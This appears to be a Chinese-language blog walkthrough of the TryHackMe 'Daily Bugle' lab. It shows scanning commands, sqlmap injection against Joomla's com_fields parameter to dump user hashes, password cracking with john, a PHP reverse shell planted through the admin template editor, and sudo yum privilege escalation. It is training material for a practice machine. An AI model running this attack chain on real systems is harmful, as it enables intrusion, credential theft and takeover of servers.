每日号角-thm

1.nmap扫描:

nmap -sS -sV ip

开了 22 80 3306 要么看网页有无可利用漏洞,要么3306的mysql尝试注入

2.gobuster

gobuster dir -u http://10.10.73.254:80 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 40

3.使用cmseek来查看cms版本

sudo python3 <path-to-cmseek.py> -u http://<remote-ip>

4.sqlmap

sqlmap -u "http://10.10.73.254/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

sqlmap -u “http://10.10.73.254/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” –risk=3 –level=5 –random-agent -D joomla -T ‘#__users’ –dump

john破解密码

john passwd.txt –wordlist=/home/sigma/rockyou.txt

到/administrator新建php文件,粘贴php的反向shell

https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

http://<machine-ip>/templates/protostar/<filename>.php

下图是/var/www/html目录下的文件,configuration.txt很可疑

下图是cat configuration.php 的结果

ssh登录,下图是结果 ssh jjameson@10.10.54.75

sudo -l 查看能看能在不输入密码的情况下以root权限的操作:可以看到下图 yum可以免密码

在GTFOBins那看看有无可利用代码或者操作。

需要下载rpm和fpm,问gpt可解决。如果安装名字不是fpm,找到安装路径,查看正确名称然后建立一个软连接。

下面是用第二种方法手敲命令

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注